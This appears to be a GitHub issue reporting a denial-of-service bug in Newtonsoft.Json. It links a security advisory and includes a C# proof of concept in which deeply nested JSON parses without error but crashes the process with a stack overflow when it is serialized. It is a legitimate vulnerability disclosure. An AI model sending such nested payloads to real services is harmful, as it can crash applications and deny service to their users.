-
Notifications
You must be signed in to change notification settings - Fork 3.3k
Applications that use Newtonsoft.Json might be exposed to DOS vulnerability #2459
Copy link
Copy link
Closed
Closed
Copy link
Description
Applications that use Newtonsoft.Json might be exposed to DOS vulnerability
https://alephsecurity.com/vulns/aleph-2018004
hope fix it.
sample code:
using System;
using System.IO;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Linq;
namespace JsonTests
{
class Program
{
static void Main(string[] args)
{
//Create a string representation of an highly nested object (JSON serialized)
int nRep = 24000;
string json = string.Concat(Enumerable.Repeat("{a:", nRep)) + "1" +
string.Concat(Enumerable.Repeat("}", nRep));
//Parse this object (Parsing works well - no exception is being thrown)
var parsedJson = JObject.Parse(json);
using (var ms = new MemoryStream())
using (var sWriter = new StreamWriter(ms))
using (var jWriter = new JsonTextWriter(sWriter))
{
//Trying to serialize the object will result in StackOverflowException !!!
parsedJson.WriteTo(jWriter);
}
//ToString throws StackOverflowException as well (ToString is very unefficient - even for smaller payloads, it will occupy a lot of CPU & Memory)
//parsedJson.ToString();
//JsonConvert.SerializeObject throws StackOverflowException as well
//string a = JsonConvert.SerializeObject(parsedJson);
}
}
}
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
No labels